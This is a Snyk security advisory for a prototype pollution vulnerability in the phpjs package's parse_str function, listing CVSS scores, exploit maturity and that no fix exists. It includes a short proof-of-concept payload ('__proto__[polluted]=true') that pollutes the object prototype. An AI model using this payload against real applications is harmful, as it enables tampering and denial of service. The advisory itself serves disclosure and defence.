Prototype Pollution Affecting phpjs package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.66% (81st percentile)

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  • Snyk ID SNYK-JS-PHPJS-598681
  • published 14 Aug 2020
  • disclosed 14 Aug 2020
  • credit Beomjin Lee

How to fix?

There is no fixed version for phpjs.

Overview

phpjs is a community built php binding in javascript.

Affected versions of this package are vulnerable to Prototype Pollution via parse_str.

POC:

require('phpjs').parse_str("__proto__[polluted]=true",{});
console.log(polluted) //true

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    High
Expand this section

NVD

9.8 critical